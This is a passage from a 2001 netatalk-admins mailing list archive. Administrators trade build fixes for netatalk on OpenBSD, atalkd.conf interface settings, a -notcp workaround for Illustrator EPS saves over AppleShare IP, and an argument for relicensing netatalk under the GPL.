From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
cc: netatalk-devel@lists.sourceforge.net
Subject: OpenBSD: tcp-wrappers / setdirowner
In-Reply-To: <p04310104b6dfe2405e9e@[138.195.38.25]>
Message-Id: <Pine.SOL.4.20.0103221626070.20147-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

(was: O-BSD uam_load errors + wrap/encrypt?)

I too am getting the errors recently discussed under the subject "Problems
copying to shares," with the setdirowner: chown -1/0 .AppleDouble/.Parent
..." error on the BSD server, and "The Item <anyfile> cannot be
written..." on the Mac. I assume this is still an on-going problem? If so,
I'm just reporting that I get it too, and any files copied onto the BSD
server are 0K, so it's a showstopper here too. What's the status on this,
if I may ask?


Expanding on Jean-Philippe Rey's notes, to get 1.5pre5 to compile and make
on OpenBSD:

Summary
-------

./configure --with-tcp-wrappers --with-ssl-dirs=/usr
vi libtool   -> 368a   output_objdir=.
vi config.h  ->   6a   #define NO_CRYPT_H 1
                       #define DLSYM_PREPEND_UNDERSCORE 1
gmake

gmake install

successfully compiles on OpenBSD 2.8, however there are still more issues.

When compiling with both --tcp-wrappers and -ssl, I get these errors when
starting the daemons from rc.local, and atalkd never successfully starts:


/usr/libexec/ld.so: Undefined symbol "_deny_severity" in 
atalkd:/usr/lib/libwrap.so.1.1

/usr/libexec/ld.so: Undefined symbol "_deny_severity" in
nbprgstr:/usr/lib/libwrap.so.1.1

/usr/libexec/ld.so: Undefined symbol "_deny_severity" in
timelord:/usr/lib/libwrap.so.1.1


When I compiled without tcp-wrappers, I was getting this error:
afpd[] Can't register machine:AFPServer&*

However, adding my interface, fxp0 to my atalkd.conf file fixed that
immediately. Now all of my passwords are being sent encrypted! Thank you
very much!

And finally,

Is there a particular reason that all of the executables go in SBINDIR
except nbprgstr, which goes into BINDIR? I'm happy with it there, just
curious.

System info for the curious:
ssl-2.7-USA
amanda-2.4.1p1
libtool-1.3.5
automake-1.4
autoconf-2.13
gettext-0.10.35
gmake-3.79.1

and I keep all the output  from my .configure/gmake/gmake installs if
anyone wants them to help debug the tcpwrap thing.

So, except for the showstopping setdirowner error, and something wrong
with tcp-wrappers, 1.5pre5 seems to be working well on OpenBSD 2.8.

Sincerely;

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *







From netatalk.administrators-errors@umich.edu  Mon Mar 26 22:11:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA17707
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Mar 2001 22:11:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA14357
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Mar 2001 22:11:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA14332
	for netatalk.administrators-members@umich.edu; Mon, 26 Mar 2001 22:11:14 -0500 (EST)
Received: from monster.hornstra.com (node11421.a2000.nl [24.132.20.33])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA14273
	for <netatalk-admins@umich.edu>; Mon, 26 Mar 2001 22:11:12 -0500 (EST)
Received: from localhost (lijn@localhost)
	by monster.hornstra.com (8.9.3/monstermail0.99) with ESMTP id FAA07579;
	Tue, 27 Mar 2001 05:10:13 +0200
X-SMTP-Header-Virus: Hi, I'm the SMTP-Header-Virus.
        Please put me into your sendmail.cf and help me spread! ;-)
Date: Tue, 27 Mar 2001 05:10:13 +0200 (CEST)
From: Cathelijne Hornstra <cathelijne@hornstra.com>
X-Sender: lijn@monster
To: Geoffrey Hughes <geoffrey.hughes@stonebow.otago.ac.nz>
cc: netatalk-admins@umich.edu
Subject: Re: Netatalk not showing in Chooser
In-Reply-To: <5.0.2.1.2.20010322091951.0229e720@brandywine.otago.ac.nz>
Message-ID: <Pine.LNX.4.21.0103270509520.7542-100000@monster>
X-Mailer: Microsoft Outlook Express 7.58.0938.8404
X-MimeOLE: Produced By Micros~1 MimeOLE V7.58.0938.8404
X-MSMail-Priority: Highest
X-MSMail-Complaints: X-MSMail-Priority is a proprietary header. The content has been devised by reverse engineering. If it bugs you: please contact MICROS~1
X-SMTP-Header-Virus-Checker: HeaderCheck 0.2.56 - April 30 2000
X-SMTP-Header-Virus-Checker-Alert: Virus in your headers
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 22 Mar 2001, 09:23 (+1200), Geoffrey Hughes wrote:

> This is probably quite a simple fix but it's got me stumped at the moment.
> 
> I have just installed Mandrake 7.1 on a machine with a 3com 3c905C nic and 
> when starting netatalk I get the messages below...
> 
> Mar 22 09:15:35 LTServer atalkd: eth0: multicast may not work correctly.
> Mar 22 09:15:36 LTServer atalkd[641]: zip_getnetinfo for eth0
> Mar 22 09:15:45 LTServer atalkd[641]: zip_getnetinfo for eth0
> Mar 22 09:15:55 LTServer atalkd[641]: zip_getnetinfo for eth0
> Mar 22 09:16:05 LTServer atalkd[641]: config for no router
> Mar 22 09:16:06 LTServer atalkd[641]: ready 0/0/0
> Mar 22 09:16:06 LTServer atalk: atalkd startup succeeded
> Mar 22 09:16:19 LTServer atalk: timelord startup succeeded
> Mar 22 09:16:19 LTServer atalk: afpd startup succeeded
> Mar 22 09:16:25 LTServer afpd[673]: Can't register LTServer:AFPServer@ITS 
> Services DN
> Mar 22 09:16:25 LTServer timelord[665]: LTServer:TimeLord started
> Mar 22 09:16:25 LTServer afpd[673]: ASIP started on 139.80.105.33:548(1) (1.5)
> Mar 22 09:16:25 LTServer afpd[673]: uam: uams_clrtxt.so loaded
> Mar 22 09:16:25 LTServer afpd[673]: uam: "Cleartxt Passwrd" available
> 
> I have loaded the module and if I click the server ip button in the choose, 
> I can connect fine.  The server just isn't showing in the chooser at 
> all.  The same configuration files work fine on a machine with an intel 
> etherexpress pro card.
> 
> Any ideas?

appletalk module loaded in the kernel?

gr.
Cathelijne
-- 

****.~.********************************************************
*___ V ___              Is it a bird? - No                    *
*   /S\                Is it Superman? - No                   *
*  (\ /)      It's Flying SuperPenguin with the big feet!     *
**^^^-^^^******************************************************


From netatalk.administrators-errors@umich.edu  Tue Mar 27 05:43:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA25964
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 05:43:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA21514
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 05:43:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA21496
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 05:43:28 -0500 (EST)
Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA21452
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 05:43:27 -0500 (EST)
Received: from fwd05.sul.t-online.com 
	by mailout01.sul.t-online.com with smtp 
	id 14hqwg-0001A3-09; Tue, 27 Mar 2001 12:43:26 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.17]) by fmrl05.sul.t-online.com
	with esmtp id 14hqwL-1kE7RAC; Tue, 27 Mar 2001 12:43:05 +0200
Mime-Version: 1.0
Message-Id: <a05010403b6e61ca647a9@[192.168.0.33]>
Date: Tue, 27 Mar 2001 12:46:23 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: error -50 lost of directory content
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA25964

hi,

I'm working with 1.4.pre 39 since a few months without problems. now 
something strange occured:

Copying a folder Y from a Mac (OS 9) to the server All/dirA/dir1/ I 
got error -50 "could not write file x (located in Y)"
I tried it again: message: folder Y does already exist - would you replace it.

I said "Yes" (I'll do it never again!!!!)

Because: Suddenly I got the message "can't delete folder All/dirB 
because its in use"
I stopped and looked into All/dirA/dir1 - and it was empty!! 
exception "Temporary Items"

I asked my desingers (working with OS 8.6) if they ever had an error 
while copying files. The answer "no".

Is it a problem with netatalk and OS 9?

Is there a fix?

O god, I hope my backup was working fine, cause the lost of a whole 
days work isn't really funny.
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition

From netatalk.administrators-errors@umich.edu  Tue Mar 27 10:32:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01942
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 10:32:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22273
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 10:32:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA22133
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 10:32:45 -0500 (EST)
Received: from garnet.tc.umn.edu (garnet.tc.umn.edu [160.94.218.249])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA22030
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 10:32:42 -0500 (EST)
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Tue, 27 Mar 2001 09:32:49 -0600
Date: Tue, 27 Mar 2001 09:32:49 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: Netatalk not showing in Chooser
In-Reply-To: <5.0.2.1.2.20010322091951.0229e720@brandywine.otago.ac.nz>
Message-Id: <Pine.SOL.4.20.0103270929060.15913-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 03/22/01, Geoffrey Hughes wisely declared:

> This is probably quite a simple fix but it's got me stumped at the moment.
> 
> I have just installed Mandrake 7.1 on a machine with a 3com 3c905C nic and 
> when starting netatalk I get the messages below...
> 
> Mar 22 09:15:35 LTServer atalkd: eth0: multicast may not work correctly.
<snip>
> Mar 22 09:16:25 LTServer afpd[673]: Can't register LTServer:AFPServer@ITS 
> Services DN
> Mar 22 09:16:25 LTServer timelord[665]: LTServer:TimeLord started
> 
> I have loaded the module and if I click the server ip button in the choose, 
> I can connect fine.  The server just isn't showing in the chooser at 
> all.  The same configuration files work fine on a machine with an intel 
> etherexpress pro card.
> 
> Any ideas?

Have you edited your atalkd.conf file? When mine was empty, I was getting
the exact same error, but when I added the line

fxp0

which is my NIC, netatalk then populated it with all of the info I needed,
specifically:

fxp0 -phase 2 -net 51321 -addr 51321.229 -zone "Geology"

so I think if you were to just put in

eth0

it might just work.

I'm on OpenBSD/1.5pre5, and know very little about linux...

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Tue Mar 27 11:39:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA05016
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 11:39:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18608
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 11:39:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18582
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 11:39:50 -0500 (EST)
Received: from mail.byte-productions.com (mail.byte-productions.com [12.32.73.213])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA18511
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 11:39:49 -0500 (EST)
Received: from [12.32.73.194] (byte-1.byte-productions.com [12.32.73.194])
	by mail.byte-productions.com (8.9.3/8.8.7) with ESMTP id LAA14205
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 11:40:56 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 27 Mar 2001 11:39:49 -0500
Subject: Re: Illustrator EPS files
From: Tom Barrons <tom@byte-productions.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6E62C84.D15%tom@byte-productions.com>
In-Reply-To: <v04210a06b6e03d787ea9@[192.168.200.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Problem resolved.  Thanks to Alan Premselaar for leading me in the right
direction.  Hope this info is useful to somebody else should you run into
the same problem.  

It appears that Adobe Illustrator has random problems saving an EPS file
directly to a server when connected via TCP/IP.  This art department's old
NT server probably didn't support AppleShareIP and when I set up netatalk
for them it allowed the Mac's to connect via this method for the first time
and the problem showed itself.  I just set up another server in afpd.conf
and set the parameter -notcp which forces the Macs who choose this server to
use AppleTalk instead.  Then I asked a few of the artists to try this server
instead and they have not reported the problem since.

> From: alan premselaar <alien@12inch.com>
> Date: Thu, 22 Mar 2001 15:40:33 -0800
> To: Tom Barrons <tom@byte-productions.com>
> Subject: Re: Illustrator EPS files
> 
> Was the NT machine running 4.0? if so, chances are it wasn't supporting
> ASIP unless you got some 3rd party ASIP drivers installed.
> 
> that would probably be a good test too, forcing an appletalk connection...
> 
> you might also want to test it on your current share (with -tcp enabled)
> but when you select the server from the chooser, hold down the option key
> and double-click it... that'll force an appletalk (NOT ASIP) connection and
> probably give you a decent testbed as well...
> 
> you can always check your connection type on the mac by highlighting the
> server volume and doing a getinfo on it... it'll tell you it's connected
> via appletalk or via TCP/IP with an IP address.
> 
> goodluck, i'm interested in the results.
> 
> alan
> 
>> Alan,
>> 
>> I am going to take your advice and ask some of the artists to see if version
>> 8 has the same issue, that will be good to know though I don't think I could
>> convince the entire department to downgrade to 8 or just sit patiently and
>> wait for Adobe to fix it.
>> 
>> You know what though, I didn't even think about the ASIP being a potential.
>> I don't think the NT server was utilizing that. No way to know now though,
>> since that was on the same machine and now its running RedHat.  I'm going to
>> set up another netatalk share with the -notcp parameter and see if they
>> still have the problem.
>> 
>> Thanks,
>> Tom
>> 
>>> From: alan premselaar <alien@12inch.com>
>>> Date: Thu, 22 Mar 2001 14:23:14 -0800
>>> To: Tom Barrons <tom@byte-productions.com>, <netatalk-admins@umich.edu>
>>> Subject: Re: Illustrator EPS files
>>> 
>>> Tom,
>>> 
>>> I'm not sure why it wouldn't happen on an NT server (unless the NT server
>>> wasn't utilizing AppleShare IP protocol), HOWEVER, Adobe made some changes
>>> in Illustrator 9 that affects it's communication with servers (not any
>>> specifically) which cause strange things to happen.
>>> 
>>> Although i'm not a production operator, I install server solutions in the
>>> pre-press industry and i've heard nothing but disappointment with regards
>>> to illustrator 9.  Many of my customers have discontinued its use and gone
>>> back to version 8 just due to the production problems they've been
>>> experiencing.
>>> 
>>> if this problem is only happening with illustrator 9, I would say it's not
>>> likely your netatalk configuration.  Try doing the same operations with
>>> illustrator version 8 and see if the problem persists.  if not, then it's
>>> very likely Illustrator 9, at which point, i'd suggest contacting Adobe to
>>> see if they have a fix.
>>> 
>>> hope this helps.
>>> 
>>> alan
>>> 
>>> At 3:13?? -0500 3.22.01, Tom Barrons wrote:
>>>> Hi all,
>>>> 
>>>> I could use some help.  I just built a new fileserver for a mixed
>>>> Mac/Windows environment, I'm running netatalk and samba.  This is only the
>>>> second such install I've done.  My first one was a while ago and it's been
>>>> running great. I tried replicating the problem on my first install
>> using the
>>>> same files, the first one does not have the problem.
>>>> 
>>>> First machine I'm running Yellow Dog Linux Champion Server 1.1 with
>>>> netatalk-1.4b2+asun2.1.3, from an RPM provided with the distrobution.  The
>>>> new machine having the problem is RedHat 7 also with
>>>> netatalk-1.4b2+asun2.1.3, this RPM was from RedHat's site. The two
>> machines
>>>> are on different networks in different buildings.
>>>> 
>>>> This art department, all Macs, use Adobe Illustrator version 9.  If a user
>>>> tries saving a file directly to the server as an EPS "occasionally"
>> they get
>>>> kicked off the server and have to reconnect.  They never have this problem
>>>> if they save the file locally and then drag copy it over the network, only
>>>> if they are saving it from within Illustrator.
>>>> 
>>>> I don't see this as being to big of a problem myself but I can't seem
>> to get
>>>> them in the habit of doing it this way and not complaining about it.  This
>>>> didn't used to happen on their old NT server so of course they think the
>>>> Linux one is broken and I want to prove otherwise.  Everything else on the
>>>> Samba/Windows end is working on this new install.
>>>> 
>>>> After skimming through archives of this list I suspected the CRLF
>>>> translation and I believe I correctly disabled that by adding -nocrlf to
>>>> afpd.conf? I restarted netatlk but the problem persists.
>>>> 
>>>> Since I didn't compile this myself I also wonder about a difference there,
>>>> and how could I check for this?  Could this still be something in netatalk
>>>> or a config somewhere, or should I be looking elsewhere on the server
>> or the
>>>> network?
>>>> 
>>>> Thanks for any help.
>>>> Tom



From netatalk.administrators-errors@umich.edu  Tue Mar 27 11:54:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA05503
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 11:54:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00610
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 11:54:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00569
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 11:54:26 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA00409
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 11:54:20 -0500 (EST)
Received: (qmail 7906 invoked by uid 500); 27 Mar 2001 16:54:15 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 27 Mar 2001 16:54:15 -0000
Date: Tue, 27 Mar 2001 10:54:15 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Tom Barrons <tom@byte-productions.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Illustrator EPS files
In-Reply-To: <B6E62C84.D15%tom@byte-productions.com>
Message-ID: <Pine.LNX.4.30.0103271052050.7887-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I would add this (ability to save EPS files via AppleShareIP) to the
future feature list as using AppleShare IP is much faster than AppleShare itself.

Thanks for the info!

-Dan

On Tue, 27 Mar 2001, Tom Barrons wrote:

> Problem resolved.  Thanks to Alan Premselaar for leading me in the right
> direction.  Hope this info is useful to somebody else should you run into
> the same problem.
>
> It appears that Adobe Illustrator has random problems saving an EPS file
> directly to a server when connected via TCP/IP.  This art department's old
> NT server probably didn't support AppleShareIP and when I set up netatalk
> for them it allowed the Mac's to connect via this method for the first time
> and the problem showed itself.  I just set up another server in afpd.conf
> and set the parameter -notcp which forces the Macs who choose this server to
> use AppleTalk instead.  Then I asked a few of the artists to try this server
> instead and they have not reported the problem since.
>
> > From: alan premselaar <alien@12inch.com>
> > Date: Thu, 22 Mar 2001 15:40:33 -0800
> > To: Tom Barrons <tom@byte-productions.com>
> > Subject: Re: Illustrator EPS files
> >
> > Was the NT machine running 4.0? if so, chances are it wasn't supporting
> > ASIP unless you got some 3rd party ASIP drivers installed.
> >
> > that would probably be a good test too, forcing an appletalk connection...
> >
> > you might also want to test it on your current share (with -tcp enabled)
> > but when you select the server from the chooser, hold down the option key
> > and double-click it... that'll force an appletalk (NOT ASIP) connection and
> > probably give you a decent testbed as well...
> >
> > you can always check your connection type on the mac by highlighting the
> > server volume and doing a getinfo on it... it'll tell you it's connected
> > via appletalk or via TCP/IP with an IP address.
> >
> > goodluck, i'm interested in the results.
> >
> > alan
> >
> >> Alan,
> >>
> >> I am going to take your advice and ask some of the artists to see if version
> >> 8 has the same issue, that will be good to know though I don't think I could
> >> convince the entire department to downgrade to 8 or just sit patiently and
> >> wait for Adobe to fix it.
> >>
> >> You know what though, I didn't even think about the ASIP being a potential.
> >> I don't think the NT server was utilizing that. No way to know now though,
> >> since that was on the same machine and now its running RedHat.  I'm going to
> >> set up another netatalk share with the -notcp parameter and see if they
> >> still have the problem.
> >>
> >> Thanks,
> >> Tom
> >>
> >>> From: alan premselaar <alien@12inch.com>
> >>> Date: Thu, 22 Mar 2001 14:23:14 -0800
> >>> To: Tom Barrons <tom@byte-productions.com>, <netatalk-admins@umich.edu>
> >>> Subject: Re: Illustrator EPS files
> >>>
> >>> Tom,
> >>>
> >>> I'm not sure why it wouldn't happen on an NT server (unless the NT server
> >>> wasn't utilizing AppleShare IP protocol), HOWEVER, Adobe made some changes
> >>> in Illustrator 9 that affects it's communication with servers (not any
> >>> specifically) which cause strange things to happen.
> >>>
> >>> Although i'm not a production operator, I install server solutions in the
> >>> pre-press industry and i've heard nothing but disappointment with regards
> >>> to illustrator 9.  Many of my customers have discontinued its use and gone
> >>> back to version 8 just due to the production problems they've been
> >>> experiencing.
> >>>
> >>> if this problem is only happening with illustrator 9, I would say it's not
> >>> likely your netatalk configuration.  Try doing the same operations with
> >>> illustrator version 8 and see if the problem persists.  if not, then it's
> >>> very likely Illustrator 9, at which point, i'd suggest contacting Adobe to
> >>> see if they have a fix.
> >>>
> >>> hope this helps.
> >>>
> >>> alan
> >>>
> >>> At 3:13?? -0500 3.22.01, Tom Barrons wrote:
> >>>> Hi all,
> >>>>
> >>>> I could use some help.  I just built a new fileserver for a mixed
> >>>> Mac/Windows environment, I'm running netatalk and samba.  This is only the
> >>>> second such install I've done.  My first one was a while ago and it's been
> >>>> running great. I tried replicating the problem on my first install
> >> using the
> >>>> same files, the first one does not have the problem.
> >>>>
> >>>> First machine I'm running Yellow Dog Linux Champion Server 1.1 with
> >>>> netatalk-1.4b2+asun2.1.3, from an RPM provided with the distrobution.  The
> >>>> new machine having the problem is RedHat 7 also with
> >>>> netatalk-1.4b2+asun2.1.3, this RPM was from RedHat's site. The two
> >> machines
> >>>> are on different networks in different buildings.
> >>>>
> >>>> This art department, all Macs, use Adobe Illustrator version 9.  If a user
> >>>> tries saving a file directly to the server as an EPS "occasionally"
> >> they get
> >>>> kicked off the server and have to reconnect.  They never have this problem
> >>>> if they save the file locally and then drag copy it over the network, only
> >>>> if they are saving it from within Illustrator.
> >>>>
> >>>> I don't see this as being to big of a problem myself but I can't seem
> >> to get
> >>>> them in the habit of doing it this way and not complaining about it.  This
> >>>> didn't used to happen on their old NT server so of course they think the
> >>>> Linux one is broken and I want to prove otherwise.  Everything else on the
> >>>> Samba/Windows end is working on this new install.
> >>>>
> >>>> After skimming through archives of this list I suspected the CRLF
> >>>> translation and I believe I correctly disabled that by adding -nocrlf to
> >>>> afpd.conf? I restarted netatlk but the problem persists.
> >>>>
> >>>> Since I didn't compile this myself I also wonder about a difference there,
> >>>> and how could I check for this?  Could this still be something in netatalk
> >>>> or a config somewhere, or should I be looking elsewhere on the server
> >> or the
> >>>> network?
> >>>>
> >>>> Thanks for any help.
> >>>> Tom
>
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Tue Mar 27 12:55:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA07211
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 12:55:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA06089
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 12:55:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA06030
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 12:55:35 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA05975
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 12:55:33 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id JAA17059;
	Tue, 27 Mar 2001 09:55:37 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Tue, 27 Mar 2001 09:55:37 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Subject: Another reason to go GPL
Message-ID: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Here's another reason we should go GPL with netatalk.  Samba has a piece
of code which does quotas on Veritas File Systems which I need to use at
our site.  Same problem as the file locking code though.  We can't take
GPL code and place it in netatalk without releasing netatalk as GPL.

I may be able to get permission from the author of that particular piece
of code to include it in netatalk anyways, but the samba project itself
will not release the code for our use.

GPL - just do it.  :P

	Andy


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:10:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07460
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:10:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00454
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:10:16 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00439
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:10:07 -0500 (EST)
Received: from mail.byte-productions.com (mail.byte-productions.com [12.32.73.213])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00392
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:10:05 -0500 (EST)
Received: from [12.32.73.194] (byte-1.byte-productions.com [12.32.73.194])
	by mail.byte-productions.com (8.9.3/8.8.7) with ESMTP id NAA14697
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:11:32 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 27 Mar 2001 13:10:11 -0500
Subject: RE: Illustrator EPS files
From: Tom Barrons <tom@byte-productions.com>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B6E641B2.D28%tom@byte-productions.com>
In-Reply-To: <B6E64159.D27%tom@byte-productions.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Dan, Actually I don't think my trials indicate the problem is netatalk, it
might be Illustrator that has the problem.  As Alan suggested Adobe may have
mad a change in version 9 that is the culprit.  Since I don't own Apple's
AppleShare IP Server, I can't test it to verify either case.

I'm going to post my findings to Adobe and then keep an eye on their site to
